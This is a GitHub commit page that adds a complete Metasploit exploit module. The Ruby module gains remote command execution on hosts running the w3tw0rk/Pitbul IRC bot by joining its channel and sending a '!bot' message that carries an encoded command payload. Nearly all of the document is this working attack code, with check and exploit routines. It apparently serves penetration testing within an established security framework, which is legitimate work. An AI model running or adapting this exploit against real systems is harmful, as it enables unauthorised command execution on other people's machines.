Skip to content

Commit d798ef0

Browse files
committed
Land rapid7#5893, w3tw0rk/Pitbul RCE module
2 parents bd40d02 + 8106bcc commit d798ef0

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::Tcp
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'w3tw0rk / Pitbul IRC Bot Remote Code Execution',
17+
'Description' => %q{
18+
This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot.
19+
},
20+
'Author' =>
21+
[
22+
'Jay Turla'
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'OSVDB', '120384' ],
28+
[ 'EDB', '36652' ]
29+
],
30+
'Platform' => %w{ unix win },
31+
'Arch' => ARCH_CMD,
32+
'Payload' =>
33+
{
34+
'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
35+
'DisableNops' => true,
36+
'Compat' =>
37+
{
38+
'PayloadType' => 'cmd'
39+
}
40+
},
41+
'Targets' =>
42+
[
43+
[ 'w3tw0rk', { } ]
44+
],
45+
'Privileged' => false,
46+
'DisclosureDate' => 'Jun 04 2015',
47+
'DefaultTarget' => 0))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(6667),
52+
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
53+
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
54+
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
55+
], self.class)
56+
end
57+
58+
def check
59+
connect
60+
61+
res = register(sock)
62+
if res =~ /463/ || res =~ /464/
63+
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
64+
return Exploit::CheckCode::Unknown
65+
end
66+
67+
res = join(sock)
68+
if !res =~ /353/ && !res =~ /366/
69+
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
70+
return Exploit::CheckCode::Unknown
71+
end
72+
73+
quit(sock)
74+
disconnect
75+
76+
if res =~ /auth/ && res =~ /logged in/
77+
Exploit::CheckCode::Vulnerable
78+
else
79+
Exploit::CheckCode::Safe
80+
end
81+
end
82+
83+
def send_msg(sock, data)
84+
sock.put(data)
85+
data = ""
86+
begin
87+
read_data = sock.get_once(-1, 1)
88+
while !read_data.nil?
89+
data << read_data
90+
read_data = sock.get_once(-1, 1)
91+
end
92+
rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
93+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
94+
end
95+
96+
data
97+
end
98+
99+
def register(sock)
100+
msg = ""
101+
102+
if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
103+
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
104+
end
105+
106+
if datastore['NICK'].length > 9
107+
nick = rand_text_alpha(9)
108+
print_error("The nick is longer than 9 characters, using #{nick}")
109+
else
110+
nick = datastore['NICK']
111+
end
112+
113+
msg << "NICK #{nick}\r\n"
114+
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
115+
116+
send_msg(sock,msg)
117+
end
118+
119+
def join(sock)
120+
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
121+
send_msg(sock, join_msg)
122+
end
123+
124+
def w3tw0rk_command(sock)
125+
encoded = payload.encoded
126+
command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"
127+
send_msg(sock, command_msg)
128+
end
129+
130+
def quit(sock)
131+
quit_msg = "QUIT :bye bye\r\n"
132+
sock.put(quit_msg)
133+
end
134+
135+
def exploit
136+
connect
137+
138+
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
139+
res = register(sock)
140+
if res =~ /463/ || res =~ /464/
141+
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
142+
return
143+
end
144+
145+
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
146+
res = join(sock)
147+
if !res =~ /353/ && !res =~ /366/
148+
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
149+
return
150+
end
151+
152+
print_status("#{rhost}:#{rport} - Exploiting the IRC bot...")
153+
w3tw0rk_command(sock)
154+
155+
quit(sock)
156+
disconnect
157+
end
158+
159+
end

0 commit comments

Comments
 (0)